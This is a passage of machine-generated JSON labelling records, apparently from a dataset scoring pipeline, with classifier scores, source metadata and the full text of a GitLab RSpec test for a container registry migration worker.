9.369356458629828e-06, "Business, Economics & Finance": 2.8805865393022792e-05, "Food & Dining": 1.0264506480639848e-05, "Games & Gaming": 3.9727762086195765e-05, "Electronics & Hardware": 7.594370228443212e-05, "Health, Healthcare & Wellness": 1.5036681105494734e-05, "History & Geography": 1.5655287633578622e-05, "Home, Pets & Hobbies": 1.2434951319138953e-05, "Industry & Production": 2.740074635022544e-05, "Language, Literature & Philosophy": 3.0814289515130145e-05, "Politics & Government": 1.6016564669736873e-05, "Religion & Spirituality": 1.7643703599500572e-05, "Science, Mathematics & Engineering": 0.00019782307646090157, "Relationships & Community": 1.0002194131973841e-05, "Software Usage & Applications": 0.0009473880302649882, "Programming & Software Engineering": 0.9981494060191727, "Sports & Fitness": 2.4409549642378303e-05, "Vehicles & Transportation": 1.1109357952157833e-05, "Travel & Tourism": 2.4722967985515272e-05, "Other / Uncovered Subject": 0.00013783638479875537, "Unknown / Insufficient Content": 6.507943801446752e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00014948957272536596, "Art & Design": 0.0001433053856041799, "Law & Crime": 0.00015814826908022505, "Education & Careers": 8.254381968758895e-05, "Entertainment & Media": 9.317703179513885e-05, "Fashion & Beauty": 4.5382111682912864e-05, "Business, Economics & Finance": 0.00013860120021635746, "Food & Dining": 4.397899290165678e-05, "Games & Gaming": 9.860075648580869e-05, "Electronics & Hardware": 0.00032528803771068594, "Health, Healthcare & Wellness": 5.6100011897669605e-05, "History & Geography": 5.326571392590331e-05, "Home, Pets & Hobbies": 3.6183533838104793e-05, "Industry & Production": 5.953050673335489e-05, "Language, Literature & Philosophy": 7.096147412385418e-05, "Politics & Government": 9.677408948597486e-05, "Religion & Spirituality": 7.496912647725859e-05, "Science, Mathematics & Engineering": 0.0005102796068910677, "Relationships & Community": 3.8747104499217324e-05, "Software Usage & Applications": 0.00497840226620938, "Programming & Software Engineering": 0.010487061651041794, "Sports & Fitness": 4.798982558374857e-05, "Vehicles & Transportation": 2.4354642688161093e-05, "Travel & Tourism": 7.9407132032384e-05, "Other / Uncovered Subject": 0.00015925599631546754, "NONE": 0.9819482021403668}}, "probabilities": {"primary": {"Academic Writing": 2.7055910523232614e-05, "Content Listing": 1.7733878986382545e-05, "Creative Writing": 9.749783549040735e-06, "Customer Support Page": 7.521915867066545e-06, "Q&A Forum": 6.631303539906249e-06, "Discussion Thread": 3.880867214379094e-06, "Comment Section": 6.294438127318272e-06, "Missing Content": 1.3039126658436667e-05, "Knowledge Article": 6.659851953890578e-05, "Legal Notices": 2.253815429329405e-05, "News Article": 2.9250800834377848e-06, "Organizational Announcement": 6.985657651870786e-06, "Nonfiction Writing": 7.3255507055259355e-06, "Organizational About Page": 7.23028660807461e-06, "Personal About Page": 4.771946028633727e-06, "Personal Blog": 4.22283010627042e-06, "Product Page": 4.556454771862433e-06, "Spam / Ads": 5.6361642745453166e-06, "Structured Data": 0.0005247159141618102, "Technical Writing": 0.998178943492681, "Transcript / Interview": 9.860374905926018e-06, "Tutorial / How-To Guide": 6.227659281561383e-05, "User Reviews": 4.044316980908834e-06, "Other / Unknown": 0.0009954614399265277}, "secondary": {"Academic Writing": 0.00012549157613040156, "Content Listing": 8.225940559020456e-05, "Creative Writing": 0.00010144219741322709, "Customer Support Page": 7.007616536562985e-05, "Q&A Forum": 3.439687558456802e-05, "Discussion Thread": 3.050918657663459e-05, "Comment Section": 7.614915732853546e-05, "Missing Content": 0.00045859724239054545, "Knowledge Article": 0.0006854453918485877, "Legal Notices": 0.0002109121761151689, "News Article": 5.2033763839048607e-05, "Organizational Announcement": 4.805856016098596e-05, "Nonfiction Writing": 5.633635601639188e-05, "Organizational About Page": 5.81360008717236e-05, "Personal About Page": 4.283731344690102e-05, "Personal Blog": 4.077772764827923e-05, "Product Page": 3.037119257967381e-05, "Spam / Ads": 5.755703080593981e-05, "Structured Data": 0.004365288873193963, "Technical Writing": 0.006884599856950418, "Transcript / Interview": 5.96826401139325e-05, "Tutorial / How-To Guide": 0.00039115961288656737, "User Reviews": 2.5231798086128132e-05, "NONE": 0.9860126498990566}, "tertiary": {"Academic Writing": 7.447752117173137e-05, "Content Listing": 5.493592348342686e-05, "Creative Writing": 6.855238907640078e-05, "Customer Support Page": 4.6539751834884717e-05, "Q&A Forum": 1.948235514235142e-05, "Discussion Thread": 1.784712093509435e-05, "Comment Section": 6.510737662929633e-05, "Missing Content": 0.0004962533734152436, "Knowledge Article": 0.0005351744883227721, "Legal Notices": 0.0003042044691671982, "News Article": 3.591201504138885e-05, "Organizational Announcement": 3.246348623209676e-05, "Nonfiction Writing": 4.429966291465862e-05, "Organizational About Page": 4.279981111699693e-05, "Personal About Page": 2.6129736306597805e-05, "Personal Blog": 2.7820650008852144e-05, "Product Page": 1.9736808833319632e-05, "Spam / Ads": 3.782047844207634e-05, "Structured Data": 0.00151960150686803, "Technical Writing": 0.0036298104939348824, "Transcript / Interview": 3.7479644047982986e-05, "Tutorial / How-To Guide": 0.00032149215022717753, "User Reviews": 1.7230658096215864e-05, "NONE": 0.9925248281287513}, "structured_records": {"false": 0.9946884498670798, "true": 0.005311550132920123}, "procedural_steps": {"false": 0.996689667392849, "true": 0.00331033260715098}, "worked_solution": {"false": 0.9989520075752892, "true": 0.0010479924247107756}, "contextual_dialogue": {"false": 0.9999947268422085, "true": 5.273157791484687e-06}, "content_quality": {"-2": 0.007779600834910375, "-1": 0.03530539672519868, "0": 0.20503469044321357, "1": 0.46397272233357767, "2": 0.28790758966309965}, "noise_severity": {"0": 0.9832129406158361, "1": 0.014935451873247654, "2": 0.000996752748959679, "3": 0.0006049227101047976, "4": 0.00024993205185184315}, "missing_content_severity": {"0": 0.9791298291149145, "1": 0.014283774340874168, "2": 0.00514146724773, "3": 0.0011487118850123383, "4": 0.000296217411468974}, "factual_density": {"0": 0.002329622678059608, "1": 0.004187630060906421, "2": 0.0440177497583996, "3": 0.2936934255028771, "4": 0.6557715719997573}, "pretraining_utility": {"-2": 0.007556840765112456, "-1": 0.07494255020414704, "0": 0.3913146204526602, "1": 0.45038791094515873, "2": 0.0757980776329216}, "math_density": {"0": 0.9958734508464486, "1": 0.00321167720821973, "2": 0.000294048652207437, "3": 0.00016856245171772315, "4": 0.00045226084140647424}, "code_density": {"0": 0.00013597526039910838, "1": 0.000218139328179905, "2": 0.0033200113199492254, "3": 0.036849951161973496, "4": 0.9594759229294983}, "reasoning_density": {"0": 0.6110230395977476, "1": 0.15287234718210405, "2": 0.12209882864852148, "3": 0.06280106108806884, "4": 0.05120472348355812}, "education_level": {"none": 0.0010379142248821216, "0": 0.0011445603090817456, "1": 0.004005060785919686, "2": 0.34768278393779917, "3": 0.5208343004197682, "4": 0.12529538032254914}, "creative_writing_quality": {"not_applicable": 0.9997050934534786, "-2": 4.771911955961607e-05, "-1": 6.29459428079043e-05, "0": 0.00012611599673411882, "1": 4.267629155083482e-05, "2": 1.5449195868840228e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7754583183901438e-05, "Art & Design": 4.9733852657612e-05, "Law & Crime": 1.9737240677227684e-05, "Education & Careers": 2.069382271589197e-05, "Entertainment & Media": 1.5190065445656424e-05, "Fashion & Beauty": 9.36935645862983e-06, "Business, Economics & Finance": 2.88058653930228e-05, "Food & Dining": 1.026450648063985e-05, "Games & Gaming": 3.972776208619577e-05, "Electronics & Hardware": 7.594370228443213e-05, "Health, Healthcare & Wellness": 1.5036681105494737e-05, "History & Geography": 1.5655287633578625e-05, "Home, Pets & Hobbies": 1.2434951319138956e-05, "Industry & Production": 2.7400746350225446e-05, "Language, Literature & Philosophy": 3.081428951513015e-05, "Politics & Government": 1.6016564669736876e-05, "Religion & Spirituality": 1.7643703599500575e-05, "Science, Mathematics & Engineering": 0.00019782307646090162, "Relationships & Community": 1.0002194131973843e-05, "Software Usage & Applications": 0.0009473880302649884, "Programming & Software Engineering": 0.9981494060191729, "Sports & Fitness": 2.440954964237831e-05, "Vehicles & Transportation": 1.1109357952157835e-05, "Travel & Tourism": 2.472296798551528e-05, "Other / Uncovered Subject": 0.0001378363847987554, "Unknown / Insufficient Content": 6.507943801446753e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00014948957272536596, "Art & Design": 0.0001433053856041799, "Law & Crime": 0.00015814826908022505, "Education & Careers": 8.254381968758895e-05, "Entertainment & Media": 9.317703179513885e-05, "Fashion & Beauty": 4.5382111682912864e-05, "Business, Economics & Finance": 0.00013860120021635746, "Food & Dining": 4.397899290165678e-05, "Games & Gaming": 9.860075648580869e-05, "Electronics & Hardware": 0.00032528803771068594, "Health, Healthcare & Wellness": 5.6100011897669605e-05, "History & Geography": 5.326571392590331e-05, "Home, Pets & Hobbies": 3.6183533838104793e-05, "Industry & Production": 5.953050673335489e-05, "Language, Literature & Philosophy": 7.096147412385418e-05, "Politics & Government": 9.677408948597486e-05, "Religion & Spirituality": 7.496912647725859e-05, "Science, Mathematics & Engineering": 0.0005102796068910677, "Relationships & Community": 3.8747104499217324e-05, "Software Usage & Applications": 0.00497840226620938, "Programming & Software Engineering": 0.010487061651041794, "Sports & Fitness": 4.798982558374857e-05, "Vehicles & Transportation": 2.4354642688161093e-05, "Travel & Tourism": 7.9407132032384e-05, "Other / Uncovered Subject": 0.00015925599631546754, "NONE": 0.9819482021403668}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10623, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10623, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:10.956931+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "9b2d69a8-3648-4c3d-b2ed-8cc2a9982bb6", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ae770a67e2def8ee93a734665402ad4868a8571e69b0ca07ccfe933f738fb292", "source_metadata": {"uuid": "9b2d69a8-3648-4c3d-b2ed-8cc2a9982bb6", "repo_name": "puppetlabs/bolt", "relative_path": "lib/bolt/plugin/module.rb", "category": "TOOL", "algo_rel_score": 0.7824439406394958, "quality_score": 6.649662494659424, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 5841, "repo_created_at": "2017-08-11T04:26:56.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 529, "forks": 225, "issues": 82, "pull_requests": 14}, "file_meta": {"content_id": "579a5539771b770ca73dc4a9d5dd5e2ef5ed9790", "size_bytes": 9055, "file_timestamp": 1750338978, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "878b1e565f70c871210cd1d83203fd51ea88b645"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 5841, "repo_created_at": "2017-08-11T04:26:56.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 529, "forks": 225, "issues": 82, "pull_requests": 14}, "file_meta": {"content_id": "579a5539771b770ca73dc4a9d5dd5e2ef5ed9790", "size_bytes": 9055, "file_timestamp": 1750338978, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "878b1e565f70c871210cd1d83203fd51ea88b645", "url": "https://github.com/puppetlabs/bolt/blob/878b1e565f70c871210cd1d83203fd51ea88b645/lib/bolt/plugin/module.rb"}, "gpt4o_tokens": 2025, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9889233032647575, "noise_severity": 0.01974345370888878, "missing_content_severity": 0.029197714137247078, "factual_density": 3.5963896940853664, "pretraining_utility": 0.5119278344766299, "math_density": 0.0061145052334136704, "code_density": 3.955311707171992, "reasoning_density": 0.790292081677586, "education_level": 2.7659258449905035, "creative_writing_quality": -0.28758092907405697}, "score_applicability": {"education_level": 0.9989620857751179, "creative_writing_quality": 0.00029490654652131426}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/diffblue/gitlab/blob/4dc1ffbaad54fd3d16f21a4f08b43e2375e75cf2/spec/workers/container_registry/migration/enqueuer_worker_spec.rb", "id": "ruby-0-f1f7e09d668274633624d79e799a2206", "text": "# frozen_string_literal: true\n\nrequire 'spec_helper'\n\nRSpec.describe ContainerRegistry::Migration::EnqueuerWorker, :aggregate_failures, :clean_gitlab_redis_shared_state,\n feature_category: :container_registry do\n using RSpec::Parameterized::TableSyntax\n include ExclusiveLeaseHelpers\n\n let_it_be_with_reload(:container_repository) { create(:container_repository, created_at: 2.days.ago) }\n let_it_be(:importing_repository) { create(:container_repository, :importing) }\n let_it_be(:pre_importing_repository) { create(:container_repository, :pre_importing) }\n\n let(:worker) { described_class.new }\n\n before do\n stub_container_registry_config(enabled: true)\n stub_application_setting(container_registry_import_created_before: 1.day.ago)\n stub_container_registry_tags(repository: container_repository.path, tags: %w(tag1 tag2 tag3), with_manifest: true)\n end\n\n describe '#perform' do\n subject { worker.perform }\n\n shared_examples 'no action' do\n it 'does not queue or change any repositories' do\n expect(worker).not_to receive(:handle_next_migration)\n expect(worker).not_to receive(:handle_aborted_migration)\n\n subject\n\n expect(container_repository.reload).to be_default\n end\n end\n\n context 'migrations are disabled' do\n before do\n allow(ContainerRegistry::Migration).to receive(:enabled?).and_return(false)\n end\n\n it_behaves_like 'no action' do\n before do\n expect_log_extra_metadata(migration_enabled: false)\n end\n end\n end\n\n context 'with no repository qualifies' do\n include_examples 'an idempotent worker' do\n before do\n allow(ContainerRepository).to receive(:ready_for_import).and_return(ContainerRepository.none)\n end\n\n it_behaves_like 'no action'\n end\n end\n\n context 'when multiple aborted imports are available' do\n let_it_be(:aborted_repository1) { create(:container_repository, :import_aborted) }\n let_it_be(:aborted_repository2) { create(:container_repository, :import_aborted) }\n\n before do\n container_repository.update!(created_at: 30.seconds.ago)\n end\n\n context 'with successful registry requests' do\n before do\n allow_worker(on: :next_aborted_repository) do |repository|\n allow(repository).to receive(:migration_import).and_return(:ok)\n allow(repository.gitlab_api_client).to receive(:import_status).and_return('import_failed')\n end\n end\n\n it 'retries the import for the aborted repository' do\n expect_log_info(\n [\n {\n import_type: 'retry',\n container_repository_id: aborted_repository1.id,\n container_repository_path: aborted_repository1.path,\n container_repository_migration_state: 'importing'\n },\n {\n import_type: 'retry',\n container_repository_id: aborted_repository2.id,\n container_repository_path: aborted_repository2.path,\n container_repository_migration_state: 'importing'\n }\n ]\n )\n\n expect(worker).to receive(:handle_next_migration).and_call_original\n\n subject\n\n expect(aborted_repository1.reload).to be_importing\n expect(aborted_repository2.reload).to be_importing\n end\n end\n\n context 'when an error occurs' do\n it 'does abort that migration' do\n allow_worker(on: :next_aborted_repository) do |repository|\n allow(repository).to receive(:retry_aborted_migration).and_raise(StandardError)\n end\n\n expect_log_info(\n [\n {\n import_type: 'retry',\n container_repository_id: aborted_repository1.id,\n container_repository_path: aborted_repository1.path,\n container_repository_migration_state: 'import_aborted'\n }\n ]\n )\n\n subject\n\n expect(aborted_repository1.reload).to be_import_aborted\n expect(aborted_repository2.reload).to be_import_aborted\n end\n end\n end\n\n context 'when multiple qualified repositories are available' do\n let_it_be(:container_repository2) { create(:container_repository, created_at: 2.days.ago) }\n\n before do\n allow_worker(on: :next_repository) do |repository|\n allow(repository).to receive(:migration_pre_import).and_return(:ok)\n end\n\n stub_container_registry_tags(\n repository: container_repository2.path,\n tags: %w(tag4 tag5 tag6),\n with_manifest: true\n )\n end\n\n shared_examples 'starting all the next imports' do\n it 'starts the pre-import for the next qualified repositories' do\n expect_log_info(\n [\n {\n import_type: 'next',\n container_repository_id: container_repository.id,\n container_repository_path: container_repository.path,\n container_repository_migration_state: 'pre_importing'\n },\n {\n import_type: 'next',\n container_repository_id: container_repository2.id,\n container_repository_path: container_repository2.path,\n container_repository_migration_state: 'pre_importing'\n }\n ]\n )\n\n expect(worker).to receive(:handle_next_migration).exactly(3).times.and_call_original\n\n expect { subject }.to make_queries_matching(/LIMIT 25/)\n\n expect(container_repository.reload).to be_pre_importing\n expect(container_repository2.reload).to be_pre_importing\n end\n end\n\n it_behaves_like 'starting all the next imports'\n\n context 'when the new pre-import maxes out the capacity' do\n before do\n # set capacity to 10\n stub_feature_flags(\n container_registry_migration_phase2_capacity_25: false,\n container_registry_migration_phase2_capacity_40: false\n )\n\n # Plus 2 created above gives 9 importing repositories\n create_list(:container_repository, 7, :importing)\n end\n\n it 'starts the pre-import only for one qualified repository' do\n expect_log_info(\n [\n {\n import_type: 'next',\n container_repository_id: container_repository.id,\n container_repository_path: container_repository.path,\n container_repository_migration_state: 'pre_importing'\n }\n ]\n )\n\n subject\n\n expect(container_repository.reload).to be_pre_importing\n expect(container_repository2.reload).to be_default\n end\n end\n\n context 'max tag count is 0' do\n before do\n stub_application_setting(container_registry_import_max_tags_count: 0)\n # Add 8 tags to the next repository\n stub_container_registry_tags(\n repository: container_repository.path, tags: %w(a b c d e f g h), with_manifest: true\n )\n end\n\n it_behaves_like 'starting all the next imports'\n end\n\n context 'when the deadline is hit' do\n it 'does not handle the second qualified repository' do\n expect(worker).to receive(:loop_deadline).and_return(5.seconds.from_now, 2.seconds.ago)\n expect(worker).to receive(:handle_next_migration).once.and_call_original\n\n subject\n\n expect(container_repository.reload).to be_pre_importing\n expect(container_repository2.reload).to be_default\n end\n end\n end\n\n context 'when a mix of aborted imports and qualified repositories are available' do\n let_it_be(:aborted_repository) { create(:container_repository, :import_aborted) }\n\n before do\n allow_worker(on: :next_aborted_repository) do |repository|\n allow(repository).to receive(:migration_import).and_return(:ok)\n allow(repository.gitlab_api_client).to receive(:import_status).and_return('import_failed')\n end\n\n allow_worker(on: :next_repository) do |repository|\n allow(repository).to receive(:migration_pre_import).and_return(:ok)\n end\n end\n\n it 'retries the aborted repository and start the migration on the qualified repository' do\n expect_log_info(\n [\n {\n import_type: 'retry',\n container_repository_id: aborted_repository.id,\n container_repository_path: aborted_repository.path,\n container_repository_migration_state: 'importing'\n },\n {\n import_type: 'next',\n container_repository_id: container_repository.id,\n container_repository_path: container_repository.path,\n container_repository_migration_state: 'pre_importing'\n }\n ]\n )\n\n subject\n\n expect(aborted_repository.reload).to be_importing\n expect(container_repository.reload).to be_pre_importing\n end\n end\n\n context 'above capacity' do\n before do\n create(:container_repository, :importing)\n create(:container_repository, :importing)\n allow(ContainerRegistry::Migration).to receive(:capacity).and_return(1)\n end\n\n it_behaves_like 'no action' do\n before do\n expect_log_extra_metadata(below_capacity: false, max_capacity_setting: 1)\n end\n end\n end\n\n context 'too soon before previous completed import step' do\n where(:state, :timestamp) do\n :import_done | :migration_import_done_at\n :pre_import_done | :migration_pre_import_done_at\n :import_aborted | :migration_aborted_at\n :import_skipped | :migration_skipped_at\n end\n\n with_them do\n before do\n allow(ContainerRegistry::Migration).to receive(:enqueue_waiting_time).and_return(45.minutes)\n create(:container_repository, state, timestamp => 1.minute.ago)\n end\n\n it_behaves_like 'no action' do\n before do\n expect_log_extra_metadata(waiting_time_passed: false, current_waiting_time_setting: 45.minutes)\n end\n end\n end\n\n context 'when last completed repository has nil timestamps' do\n before do\n allow(ContainerRegistry::Migration).to receive(:enqueue_waiting_time).and_return(45.minutes)\n create(:container_repository, migration_state: 'import_done')\n end\n\n it 'continues to try the next import' do\n expect { subject }.to change { container_repository.reload.migration_state }\n end\n end\n end\n\n context 'over max tag count' do\n before do\n stub_application_setting(container_registry_import_max_tags_count: 2)\n end\n\n it 'skips the repository' do\n expect_log_info(\n [\n {\n import_type: 'next',\n container_repository_id: container_repository.id,\n container_repository_path: container_repository.path,\n container_repository_migration_state: 'import_skipped',\n container_repository_migration_skipped_reason: 'too_many_tags'\n }\n ]\n )\n\n expect(worker).to receive(:handle_next_migration).twice.and_call_original\n # skipping the migration will re_enqueue the job\n expect(described_class).to receive(:enqueue_a_job)\n\n subject\n\n expect(container_repository.reload).to be_import_skipped\n expect(container_repository.migration_skipped_reason).to eq('too_many_tags')\n expect(container_repository.migration_skipped_at).not_to be_nil\n end\n end\n\n context 'when an error occurs' do\n before do\n allow(ContainerRegistry::Migration).to receive(:max_tags_count).and_raise(StandardError)\n end\n\n it 'aborts the import' do\n expect_log_info(\n [\n {\n import_type: 'next',\n container_repository_id: container_repository.id,\n container_repository_path: container_repository.path,\n container_repository_migration_state: 'import_aborted'\n }\n ]\n )\n\n expect(Gitlab::ErrorTracking).to receive(:log_exception).with(\n instance_of(StandardError),\n next_repository_id: container_repository.id\n )\n\n # aborting the migration will re_enqueue the job\n expect(described_class).to receive(:enqueue_a_job)\n\n subject\n\n expect(container_repository.reload).to be_import_aborted\n end\n end\n\n context 'with the exclusive lease taken' do\n let(:lease_key) { worker.send(:lease_key) }\n\n before do\n stub_exclusive_lease_taken(lease_key, timeout: 30.minutes)\n end\n\n it 'does not perform' do\n expect(worker).not_to receive(:handle_aborted_migration)\n expect(worker).not_to receive(:handle_next_migration)\n\n subject\n end\n end\n\n def expect_log_extra_metadata(metadata)\n metadata.each do |key, value|\n expect(worker).to receive(:log_extra_metadata_on_done).with(key, value)\n end\n end\n\n def expect_log_info(expected_multiple_arguments)\n expected_multiple_arguments.each do |extras|\n expect(worker.logger).to receive(:info).with(worker.structured_payload(extras))\n end\n end\n\n def allow_worker(on:)\n method_repository = worker.method(on)\n allow(worker).to receive(on) do\n repository = method_repository.call\n\n yield repository if repository\n\n repository\n end\n end\n end\n\n describe 'worker attributes' do\n it 'has deduplication set' do\n expect(described_class.get_deduplicate_strategy).to eq(:until_executing)\n expect(described_class.get_deduplication_options).to include(ttl: 30.minutes)\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true require 'spec_helper' RSpec.describe ContainerRegistry::Migration::EnqueuerWorker, :aggregate_failures, :clean_gitlab_redis_shared_state, feature_category: :container_registry do using RSpec::Parameterized::Tab", "input_sha256": "13047aeb5a4a13ccc7efcd0707e76f7ea99cabf7e2aefcb489dee04722677528", "text_sha256": "f1f7e09d668274633624d79e799a2206a0aa38e49638b9986b19781a7f7c93c2", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16120, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 2, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.4415522743985674, "noise_severity": 0.05235014658499805, "missing_content_severity": 0.003882033297780739, "factual_density": 3.325708180775501, "pretraining_utility": 0.4740150143005114, "math_density": 0.020934843413981007, "code_density": 3.929554305553819, "reasoning_density": 1.7723989469542638, "education_level": 3.1826222022559265, "creative_writing_quality": -0.22331810796363283}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.012446619323326469, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9897037382142723, "secondary": 0.947940039614653, "tertiary": 0.9609278162998632, "structured_records": 0.5041755659203807, "procedural_steps": 0.009031001500409417, "worked_solution": 0.19638890822803604, "contextual_dialogue": 8.266990022944857e-06, "content_quality": 0.5346268953321396, "noise_severity": 0.956374877845835, "missing_content_severity": 0.9967649722518493, "factual_density": 0.4380901506462509, "pretraining_utility": 0.4073725319567777, "math_density": 0.9825542971550159, "code_density": 0.9412952546281823, "reasoning_density": 0.0, "education_level": 0.5183148045400082, "creative_writing_quality": 0.9993674756058221, "primary_topic": 0.9983273862284731, "secondary_topic": 0.9748132977429407}, "probability_margin": {"primary": 0.983282687075796, "secondary": 0.9235329571913828, "tertiary": 0.9453353789157279, "education_level": 0.30499873445336084, "creative_writing_quality": 0.9992363000481239, "primary_topic": 0.9975518061126707, "secondary_topic": 0.9615234948084164}, "raw_probabilities": {"primary": {"Academic Writing": 9.264518497815823e-05, "Content Listing": 3.745160607501256e-05, "Creative Writing": 2.3810264286937452e-05, "Customer Support Page": 1.749622363702248e-05, "Q&A Forum": 1.7843807077627293e-05, "Discussion Thread": 1.1385655903949535e-05, "Comment Section": 1.99940668809522e-05, "Missing Content": 2.7873612329433583e-05, "Knowledge Article": 9.493780929982404e-05, "Legal Notices": 3.931997900771542e-05, "News Article": 8.138152576908352e-06, "Organizational Announcement": 1.838277353738406e-05, "Nonfiction Writing": 1.47815000168231e-05, "Organizational About Page": 1.6576849261408013e-05, "Personal About Page": 1.2210786148097224e-05, "Personal Blog": 9.923668759413937e-06, "Product Page": 1.1247778504282804e-05, "Spam / Ads": 1.5160691457851118e-05, "Structured Data": 0.002311350368454312, "Technical Writing": 0.9901327491220109, "Transcript / Interview": 2.8105988243833662e-05, "Tutorial / How-To Guide": 0.0001792633553873774, "User Reviews": 9.28870995002064e-06, "Other / Unknown": 0.006850062046214819}, "secondary": {"Academic Writing": 0.00035978634148619106, "Content Listing": 0.00020459012695472274, "Creative Writing": 0.0001949495399638141, "Customer Support Page": 9.918054366905611e-05, "Q&A Forum": 9.398691635925267e-05, "Discussion Thread": 7.239828478024232e-05, "Comment Section": 0.00011608596876429094, "Missing Content": 0.00035463915839401087, "Knowledge Article": 0.0005339796621780213, "Legal Notices": 0.0002018912445262757, "News Article": 9.89278959189478e-05, "Organizational Announcement": 0.0001073620728311105, "Nonfiction Writing": 9.75852213585319e-05, "Organizational About Page": 0.00010476956861696692, "Personal About Page": 8.410414605851642e-05, "Personal Blog": 7.832396219579235e-05, "Product Page": 6.428275305531776e-05, "Spam / Ads": 0.00010424970059590426, "Structured Data": 0.026576247439326243, "Technical Writing": 0.019730569059818688, "Transcript / Interview": 0.00012803618975713927, "Tutorial / How-To Guide": 0.00043648618442790414, "User Reviews": 4.836338825386492e-05, "NONE": 0.9501092046307091}, "tertiary": {"Academic Writing": 0.0002618664475974985, "Content Listing": 0.0001529864735208204, "Creative Writing": 0.00012759661850056587, "Customer Support Page": 5.938169773951559e-05, "Q&A Forum": 5.510399869677739e-05, "Discussion Thread": 4.548046673315522e-05, "Comment Section": 8.288574393050288e-05, "Missing Content": 0.00040627964725130773, "Knowledge Article": 0.0006157986262986644, "Legal 